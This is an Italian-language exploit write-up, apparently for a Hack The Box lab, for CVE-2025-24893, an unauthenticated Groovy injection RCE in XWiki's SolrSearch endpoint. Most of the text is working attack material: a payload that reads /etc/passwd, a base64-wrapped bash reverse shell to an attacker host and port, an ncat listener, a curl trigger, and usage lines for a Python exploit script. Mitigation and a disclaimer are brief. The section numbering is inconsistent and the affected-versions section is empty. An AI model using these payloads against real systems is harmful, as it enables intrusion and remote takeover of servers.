CVE-2025-24893 – Esecuzione di codice remoto non autenticata in XWiki

0 Indice

1. Sommario
2. Dettagli della vulnerabilità
3. Versioni interessate
4. Proof-of-Concept
   • 4.1 Costruzione del payload
   • 4.2 Sfruttamento manuale
   • 4.3 Exploit automatico in Python
5. Mitigazione
6. Crediti e riferimenti

1 Sommario

• CVE: 2025-24893
• Componente: macro SolrSearch (interfaccia XWiki)
• Severità: 9.8 / CRITICA (CVSS 3.1)
• Vettore d'attacco: GET HTTP non autenticato
• Impatto: esecuzione arbitraria di Groovy → RCE a livello di sistema (permessi dell'utente Jetty/Tomcat)

L'endpoint /xwiki/bin/get/Main/SolrSearch concatena l'input non attendibile text= direttamente in un template Freemarker.
Chiudendo prematuramente il template e aprendo un nuovo blocco {{groovy}} … {{/groovy}}, un attaccante può eseguire codice Groovy arbitrario senza autenticazione.

2 Dettagli della vulnerabilità

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch dovrebbe incorporare il testo fornito come contenuto semplice, ma il gestore della macro non riesce a fare l'escaping di }}}, quindi accade quanto segue:

1. }}} chiude il blocco Freemarker corrente.
2. L'attaccante apre una nuova macro:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false forza l'esecuzione sincrona (funziona anche per gli ospiti).

3. Groovy viene eseguito con i permessi del processo JVM di XWiki.

Una PoC minimale che stampa /etc/passwd:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

Variante codificata in URL (spazi → %20, parentesi → %7B/%7D, ecc.):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Versioni interessate

(fonte: advisory OffSec e XWiki SEC-S 2025-02)

5 Proof of Concept

5.1 Costruzione del payload

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   reverse shell a una riga
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (su una sola riga)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   avvolgimento nella macro Groovy
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   codifica URL
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Sfruttamento manuale

# avvia il listener
sudo ncat -lvnp 4444

# attiva l'exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Exploit automatico

xwiki_solr_rce.py è incluso in exploit/ (vedi blocco di codice qui sotto).

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

dove

<TARGET URL> - URL comprensiva di http:// o https://

(usa -c "id" per eseguire un comando arbitrario invece di una shell)

6 Mitigazione

• Aggiorna a 15.10.11 / 14.10.17 o successive
• Soluzione temporanea: disabilita la macro

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Crediti e riferimenti

• Ricerca OffSec: "Unauth RCE in XWiki" – 20 febbraio 2025
• Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

Ricerca e PoC: DeX1d

Disclaimer: Solo per uso didattico. Eseguire questo exploit contro sistemi che non possiedi è illegale.